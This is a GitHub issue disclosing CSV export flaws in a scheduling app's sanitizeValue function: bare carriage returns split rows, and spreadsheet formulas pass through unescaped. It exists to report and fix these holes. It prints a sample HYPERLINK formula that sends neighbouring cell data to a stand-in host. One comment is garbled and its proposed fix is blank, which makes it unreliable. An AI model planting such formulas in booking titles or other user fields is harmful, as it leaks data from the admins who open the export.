Skip to content

CSV export: bare \r splits rows and formula injection is unescaped in sanitizeValue #29843

Open

Description

@DPS0340

Issue Summary

sanitizeValue() in packages/lib/csvUtils.ts — the function every CSV export runs its values through — has two escaping holes. Both are reachable with attacker-supplied text, because booking titles and attendee names come from whoever books the meeting, not from the person downloading the file.

export const sanitizeValue = (value: string) => {
  if (value.includes('"')) {
    return `"${value.replace(/"/g, '""')}"`;
  }
  if (value.includes(",") || value.includes("\n")) {
    return `"${value}"`;
  }
  return value;
};

1. A bare carriage return breaks the row structure

The newline check only looks for \n. RFC 4180 treats a lone \r as a record separator too, and so do real parsers. A value containing \r is emitted unquoted and splits the row.

Reproduced with Python's csv module (RFC 4180 compliant) on the exact output of objectsToCsv:

input rows: 2 data rows, 3 columns
parsed out:
  ['Booking UID', 'Title', 'Attendee name']
  ['abc', '=1+1', 'Alice']
  ['jkl', 'CR']            <- row split in half
  ['injected', 'Dan']      <- and every column after it is shifted
row count: 4   (expected 3)

Anyone who can set a booking title or attendee name to foo\rbar corrupts the org's exported spreadsheet from that row onward.

2. CSV formula injection (CWE-1236)

Values beginning with =, +, -, @, tab or CR are interpreted as formulas by Excel, LibreOffice and Google Sheets. sanitizeValue passes them through untouched:

Booking UID,Title,Attendee name
abc,=1+1,Alice
def,"=HYPERLINK(""https://evil.test?d=""&A1,""Click"")",Bob

The second row is quoted — because it happens to contain a quote character — and quoting does not stop formula evaluation; spreadsheet apps strip the quotes first. So a booking titled =HYPERLINK("https://evil.test?d="&A1,"Click") becomes a clickable link in an admin's downloaded sheet that exfiltrates neighbouring cell contents.

Where this is reachable from

  • apps/web/modules/bookings/components/BookingsCsvDownload.tsx → transformBookingToCsv() puts booking.title, attendee names, attendee emails and booking.location straight into the export. These are supplied by the person making the booking.
  • apps/web/modules/users/lib/UserListTableUtils.ts → the members export.

Separately, in generateCsvRawForMembersTable() the email, role and ${orgDomain}/${username} columns are concatenated without calling sanitizeValue at all, while the Teams and attribute columns do call it. That looks unintentional given the surrounding code.

Expected results

  • A value containing \r, \r\n or \n is quoted, so one field stays one field.
  • Values that a spreadsheet would evaluate as a formula are neutralised (the usual fix is prefixing a single quote or a tab, per OWASP).
  • Every column in the members export goes through the same escaping as its neighbours.

Reproduction

const sanitizeValue = (value) => {
  if (value.includes('"')) return `"${value.replace(/"/g, '""')}"`;
  if (value.includes(",") || value.includes("\n")) return `"${value}"`;
  return value;
};

sanitizeValue("a\rb");  // "a\rb"  — not quoted, splits the row
sanitizeValue("=1+1");  // "=1+1"  — evaluated by Excel/Sheets

csvUtils.ts currently has no test file.

I have a fix ready and will open a PR referencing this issue.

Activity

  1. chrisf2006 commented on Jul 29, 2026

    @chrisf2006

    I'd like to take this bug. I'll review the CSV sanitization flow and fix the escaping issues in sanitizeValue, including handling bare carriage returns and preventing spreadsheet formula injection. I'll also verify all CSV export paths consistently apply sanitization, add test coverage for malicious and edge-case inputs, and submit a PR with the changes.

  2. GauravPatil2515 commented on Aug 2, 2026

    @GauravPatil2515

    Proposed Solution

    The issue is in - has two security holes:

    1. Bare carriage return () splits rows - RFC 4180 treats as record separator
    2. Formula injection - Values starting with , , , , , are evaluated by Excel/Sheets

    Fix:

    ""

    Also need to ensure in calls for ALL columns (currently skips email, role, orgDomain/username).

    Add tests for covering:

    • , , row splitting
    • Formula injection with , , , ,
    • Quote escaping
    • All member export columns

    Happy to implement with comprehensive tests.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions